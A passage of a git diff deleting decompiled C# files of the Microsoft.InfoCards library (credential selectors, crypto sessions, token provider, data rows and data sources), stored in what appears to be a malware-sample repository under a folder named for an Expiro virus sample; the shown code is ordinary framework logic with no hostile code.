GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - switch (this.m_type) - { - case CredentialSelectorType.X509CertificateIssuerNameSelector: - this.WriteX509CertificateIssuerNameSelector(writer); - break; - case CredentialSelectorType.X509CertificateIssuerSerialNoSelector: - this.WriteX509CertificateIssuerSerialNoSelector(writer); - break; - case CredentialSelectorType.X509CertificateKeyHashSelector: - this.WriteX509CertificateKeyHashSelector(writer); - break; - case CredentialSelectorType.UserNameSelector: - this.WriteUserNameSelector(writer); - break; - case CredentialSelectorType.SelfIssuedCardIdSelector: - this.WriteSelfIssuedCardIdSelector(writer); - break; - case CredentialSelectorType.UserPrincipalNameSelector: - this.WriteUserPrincipalNameSelector(writer); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - public void ReadXml(XmlReader reader) - { - switch (reader.LocalName) - { - case "Username": - this.ReadUserNameSelector(reader); - break; - case "X509IssuerName": - this.ReadX509IssuerNameSelector(reader); - break; - case "X509SerialNumber": - this.ReadX509IssuerSerialNumberSelector(reader); - break; - case "KeyIdentifier": - this.ReadX509KeyIdentifierSelector(reader); - break; - case "PrivatePersonalIdentifier": - this.ReadSelfIssuedSelector(reader); - break; - case "UserPrincipalName": - this.ReadUserPrincipalNameSelector(reader); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - private void WriteUserNameSelector(XmlWriter writer) - { - writer.WriteStartElement("Username", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteUserPrincipalNameSelector(XmlWriter writer) - { - writer.WriteStartElement("UserPrincipalName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerNameSelector(XmlWriter writer) - { - writer.WriteStartElement("X509IssuerName", "http://www.w3.org/2000/09/xmldsig#"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerSerialNoSelector(XmlWriter writer) - { - writer.WriteStartElement("X509SerialNumber", "http://www.w3.org/2000/09/xmldsig#"); - BigInt bigInt = new BigInt(this.GetBytes()); - writer.WriteString(bigInt.ToDecimal()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateKeyHashSelector(XmlWriter writer) - { - writer.WriteStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - writer.WriteAttributeString("ValueType", (string) null, "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"); - writer.WriteString(Convert.ToBase64String(this.GetBytes(), Base64FormattingOptions.None)); - writer.WriteEndElement(); - } - - private void WriteSelfIssuedCardIdSelector(XmlWriter writer) - { - writer.WriteStartElement("PrivatePersonalIdentifier", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void ReadUserNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("Username" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadUserPrincipalNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("UserPrincipalName" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserPrincipalNameSelector; - } - - private void ReadX509IssuerNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509IssuerName" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadX509IssuerSerialNumberSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509SerialNumber" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerSerialNoSelector; - BigInt bigInt = new BigInt(); - string decNum = reader.ReadElementContentAsString().Trim(); - try - { - if (string.IsNullOrEmpty(decNum)) - return; - bigInt.FromDecimal(decNum); - byte[] byteArray = bigInt.ToByteArray(); - this.SetValue(byteArray, 0, byteArray.Length); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidSerialNumber"))); - } - } - - private void ReadX509KeyIdentifierSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("KeyIdentifier" != reader.LocalName || "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateKeyHashSelector; - string attribute = reader.GetAttribute("ValueType"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("ValueType", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - if ("http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute && "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnsupportedKeyIdentifierType"))); - try - { - MemoryStream memoryStream = Utility.ReadByteStreamFromBase64(reader); - int int32 = Convert.ToInt32(memoryStream.Length); - if (int32 <= 0) - return; - this.SetValue(memoryStream.GetBuffer(), 0, int32); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidThumbPrintValue"))); - } - } - - private void ReadSelfIssuedSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("PrivatePersonalIdentifier" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.SelfIssuedCardIdSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelectorType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelectorType.cs deleted file mode 100644 index ce0b0c72..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelectorType.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelectorType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum CredentialSelectorType - { - InvalidSelector = -1, // 0xFFFFFFFF - X509CertificateIssuerNameSelector = 0, - X509CertificateIssuerSerialNoSelector = 1, - X509CertificateKeyHashSelector = 2, - X509CertificateKeyIdSelector = 3, - UserNameSelector = 4, - SpnSelector = 5, - SelfIssuedCardIdSelector = 6, - RsaKeyValueSelector = 7, - UserPrincipalNameSelector = 8, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CryptoSession.cs deleted file mode 100644 index e1a4fdf6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CryptoSession.cs +++ /dev/null @@ -1,232 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class CryptoSession - { - private const int m_MaxSessionCount = 1073741823; - public static readonly TimeSpan MaxSessionLifetime = new TimeSpan(1, 0, 0); - private static CryptoSession.CryptoSessionDictionary s_sessionCollection = new CryptoSession.CryptoSessionDictionary(); - private static object s_syncRoot = new object(); - private Process m_process; - private int m_sessionid; - private EventHandler m_processExitHandler; - private EventHandler m_serviceStoppingHandler; - private Timer m_timer; - private bool m_isDisposed; - private object m_syncRoot; - private WindowsIdentity m_identity; - private DateTime m_expiration; - private CryptoSession.SessionType m_type; - - protected CryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - object key, - CryptoSession.SessionType type) - { - InfoCardTrace.Assert(null != key, "null key passed in to CryptoSession ctor"); - try - { - this.m_process = ProcessMonitor.GetProcessById(process.Id); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceClientProcessExited", (object) process.Id), (Exception) ex)); - } - this.m_syncRoot = new object(); - this.m_identity = identity; - this.m_expiration = expiration; - this.m_type = type; - lock (CryptoSession.s_syncRoot) - { - int newHandle; - try - { - newHandle = CryptoSession.s_sessionCollection.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyCryptoSessions", (object) CryptoSession.s_sessionCollection.MaxSize), (Exception) ex)); - } - bool flag = false; - try - { - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - if (process.HasExited || this.m_process.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceProcessHasExited"))); - TimeSpan dueTime = expiration - DateTime.UtcNow; - if (dueTime > CryptoSession.MaxSessionLifetime) - dueTime = CryptoSession.MaxSessionLifetime; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, dueTime, new TimeSpan(0, 0, 0, 0, -1)); - this.m_serviceStoppingHandler = new EventHandler(this.OnServiceStopping); - InfoCardService.Stopping += this.m_serviceStoppingHandler; - CryptoSession.s_sessionCollection[newHandle] = this; - this.m_sessionid = newHandle; - flag = true; - } - finally - { - if (!flag) - CryptoSession.s_sessionCollection.Remove(newHandle); - } - } - } - - protected uint ProcessId => (uint) this.m_process.Id; - - protected Process ProcessObj => this.m_process; - - protected WindowsIdentity Identity => this.m_identity; - - protected SecurityIdentifier ClientSid => this.m_identity.User; - - protected DateTime Expiration => this.m_expiration; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write((int) this.m_type); - bwriter.Write(this.m_sessionid); - bwriter.Write(this.m_expiration.ToFileTime()); - this.OnWrite(bwriter); - } - - private void OnTimeout(object state) => this.Dispose(); - - private void OnProcessExit(object sender, EventArgs e) => this.DisposeAsClient(); - - private void OnServiceStopping(object sender, EventArgs e) => this.DisposeAsClient(); - - private void DisposeAsClient() - { - try - { - WindowsImpersonationContext impersonationContext = this.m_identity.Impersonate(); - try - { - this.Dispose(); - } - finally - { - impersonationContext.Undo(); - } - } - catch (Exception ex) - { - throw; - } - } - - protected void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException("CryptoSession " + (object) this.m_sessionid)); - } - - protected virtual void OnDispose() - { - } - - protected virtual void OnWrite(BinaryWriter bwriter) - { - } - - public void Dispose() - { - bool flag = false; - lock (this.m_syncRoot) - { - if (!this.m_isDisposed) - { - this.m_isDisposed = true; - flag = true; - if (this.m_serviceStoppingHandler != null) - { - InfoCardService.Stopping -= this.m_serviceStoppingHandler; - this.m_serviceStoppingHandler = (EventHandler) null; - } - if (this.m_process != null) - { - if (this.m_processExitHandler != null) - { - this.m_process.Exited -= this.m_processExitHandler; - this.m_processExitHandler = (EventHandler) null; - } - this.m_process = (Process) null; - } - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.OnDispose(); - } - } - if (!flag) - return; - lock (CryptoSession.s_syncRoot) - CryptoSession.s_sessionCollection.Remove(this.m_sessionid); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - RSACryptoServiceProvider key) - { - return (CryptoSession) new AsymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - { - return (CryptoSession) new SymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Find( - int sessionId, - uint processId, - SecurityIdentifier clientSid) - { - CryptoSession cryptoSession; - lock (CryptoSession.s_syncRoot) - { - cryptoSession = CryptoSession.s_sessionCollection.ContainsHandle(sessionId) ? CryptoSession.s_sessionCollection[sessionId] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if ((int) cryptoSession.ProcessId != (int) processId) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if (cryptoSession.ClientSid != clientSid) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - } - return cryptoSession; - } - - private class CryptoSessionDictionary : HandleDictionary - { - } - - protected enum SessionType - { - Asymmetric = 1, - Symmetric = 2, - Transfrom = 3, - Hash = 4, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CustomTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CustomTokenProvider.cs deleted file mode 100644 index fb1a0a17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CustomTokenProvider.cs +++ /dev/null @@ -1,94 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CustomTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class CustomTokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private IssuedSecurityTokenParameters m_parameters; - private TokenDescriptor m_token; - private EndpointAddress m_target; - private SelfIssuedSamlTokenFactory m_tokenFactory; - private bool m_isSelfIssuedCreds; - private ProtocolProfile m_protocolProfile; - private SelfIssuedAuthProofToken m_proofToken; - - public CustomTokenProvider( - IssuedSecurityTokenParameters parameters, - InfoCard card, - EndpointAddress target, - bool isSelfIssuedCreds, - ProtocolProfile profile) - { - this.m_isSelfIssuedCreds = isSelfIssuedCreds; - this.m_card = card; - this.m_parameters = parameters; - this.m_target = target; - this.m_protocolProfile = profile; - this.ValidatePolicy(); - this.m_tokenFactory = new SelfIssuedSamlTokenFactory(); - } - - public void Dispose() - { - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private void ValidatePolicy() - { - try - { - this.m_policy = PolicyFactory.CreatePolicyForCustomTokenProvider(this.m_target, this.m_parameters, this.m_protocolProfile); - this.m_policy.SetRecipientInfo(this.m_policy.ImmediateTokenRecipient, (string) null, 0U); - if (this.m_isSelfIssuedCreds) - this.m_policy.ThrowIfNonPpidClaimsPresent(); - this.m_policy.Validate(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("FailedReadingIPSTSPolicy"), ex)); - throw; - } - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - StoreConnection connection = StoreConnection.GetConnection(); - this.m_card.Connection = connection; - try - { - this.m_token = this.m_tokenFactory.CreateToken(this.m_card, (TokenFactoryCredential) null, this.m_policy, false); - this.m_proofToken = this.m_token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.m_token.SymmetricProof.Key), this.m_token.ExpirationTime) : new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), this.m_token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.m_token.ProtectedToken, (SecurityToken) this.m_proofToken, this.m_token.EffectiveTime, this.m_token.ExpirationTime, (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(this.m_token.TokenId), (SecurityKeyIdentifierClause) null, (ReadOnlyCollection) null); - } - finally - { - connection.Close(); - this.m_card.Connection = (StoreConnection) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataAccessException.cs deleted file mode 100644 index 5f2823ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class DataAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413887; - - public DataAccessException() - : base(-1073413887) - { - } - - public DataAccessException(string message) - : base(-1073413887, message) - { - } - - public DataAccessException(string message, Exception inner) - : base(-1073413887, message, inner) - { - } - - protected DataAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413887, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataBlob.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataBlob.cs deleted file mode 100644 index a44ee78e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataBlob.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataBlob -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct DataBlob - { - public int cbData; - public IntPtr pbData; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRow.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRow.cs deleted file mode 100644 index c2f55cd0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRow.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRow -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class DataRow - { - private string m_instanceId; - private string m_sourceId; - private int m_localId; - private int m_objectType; - private long m_lastChange; - private int m_objectSize; - private GlobalId m_globalId; - private byte[] m_buffer; - private DataRowIndexBuffer m_indexBuffer; - - public DataRow() - : this((string) null, (string) null) - { - } - - private DataRow(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_indexBuffer = new DataRowIndexBuffer(); - } - - public GlobalId GlobalId - { - get => this.m_globalId; - set - { - this.m_globalId = !(GlobalId.Empty == value) ? value : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - this.SetIndexValue("ix_globalid", (object) value); - } - } - - public string InstanceId - { - get => this.m_instanceId; - internal set => this.m_instanceId = value; - } - - public string SourceId - { - get => this.m_sourceId; - internal set => this.m_sourceId = value; - } - - public long LastChange - { - get => this.m_lastChange; - internal set => this.m_lastChange = value; - } - - public int LocalId - { - get => this.m_localId; - internal set => this.m_localId = value; - } - - public int ObjectType - { - get => this.m_objectType; - set - { - this.m_objectType = value; - this.SetIndexValue("ix_objecttype", (object) value); - } - } - - internal DataRowIndexBuffer IndexBuffer => this.m_indexBuffer; - - public void SetDataField(byte[] buffer) => this.SetDataField(buffer, buffer.Length); - - public void SetDataField(byte[] buffer, int size) - { - this.m_buffer = buffer; - this.m_objectSize = size; - } - - public byte[] GetDataField() => this.m_buffer; - - public void SetMultiIndexValue(string name, params object[][] multiValues) - { - IndexObject[] indexObjects = new IndexObject[multiValues.Length]; - for (int index = 0; index < multiValues.Length; ++index) - indexObjects[index] = new IndexObject(multiValues[index]); - this.m_indexBuffer.SetIndexValues(name, indexObjects); - } - - public void SetIndexValue(string name, params object[] values) - { - object[][] objArray = new object[values.Length][]; - for (int index = 0; index < objArray.Length; ++index) - objArray[index] = new object[1]{ values[index] }; - this.SetMultiIndexValue(name, objArray); - } - - internal static unsafe DataRow Create(EncryptedObjectHeader* pHeader, DataSource source) => new DataRow(source.InstanceId, source.SourceId) - { - LastChange = pHeader->LastChange, - ObjectType = pHeader->ObjectType, - LocalId = pHeader->LocalId, - GlobalId = pHeader->GlobalId, - m_objectSize = pHeader->DataSize - }; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRowIndexBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRowIndexBuffer.cs deleted file mode 100644 index 9d8be7c7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRowIndexBuffer.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRowIndexBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class DataRowIndexBuffer - { - private Dictionary> m_objects; - - public DataRowIndexBuffer() => this.m_objects = new Dictionary>(); - - public string[] GetIndexNames() => new List((IEnumerable) this.m_objects.Keys).ToArray(); - - public List this[string name] - { - get - { - if (!this.m_objects.ContainsKey(name)) - this.m_objects.Add(name, new List()); - return this.m_objects[name]; - } - } - - public void Clear() => this.m_objects.Clear(); - - public void ClearIndexValues(string name) => this.m_objects.Remove(name); - - public void AddIndexValue(string name, IndexObject obj) => this[name].Add(obj); - - public void AddIndexValues(string name, IndexObject[] objs) => this[name].AddRange((IEnumerable) objs); - - public void SetIndexValues(string name, IndexObject[] indexObjects) - { - this[name].Clear(); - this[name].AddRange((IEnumerable) indexObjects); - } - - public int GetValueCount(string name) => !this.m_objects.ContainsKey(name) ? 0 : this.m_objects[name].Count; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataSource.cs deleted file mode 100644 index 7ea85db0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataSource.cs +++ /dev/null @@ -1,328 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class DataSource : IDisposable - { - private string m_instanceId; - private bool m_isLoaded; - private ReaderWriterLock m_lock; - private bool m_isDisposed; - private string m_sourceId; - private bool m_isCleared; - - protected DataSource(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_lock = new ReaderWriterLock(); - } - - public string SourceId - { - get - { - this.ThrowIfDisposed(); - return this.m_sourceId; - } - } - - public bool IsDisposed => this.m_isDisposed; - - public bool IsLoaded - { - get - { - this.ThrowIfDisposed(); - return this.m_isLoaded; - } - } - - public bool IsCleared - { - get => this.m_isCleared; - set => this.m_isCleared = value; - } - - protected internal string InstanceId - { - get - { - this.ThrowIfDisposed(); - return this.m_instanceId; - } - set - { - this.ThrowIfDisposed(); - this.m_instanceId = value; - } - } - - public bool IsProcessingTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_lock.IsWriterLockHeld; - } - - public void BeginTransaction() - { - this.ThrowIfWriteLockHeld(); - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.m_lock.AcquireWriterLock(0); - this.OnBeginTransaction(); - } - - public void CommitTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnCommitTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void RollbackTransaction() - { - 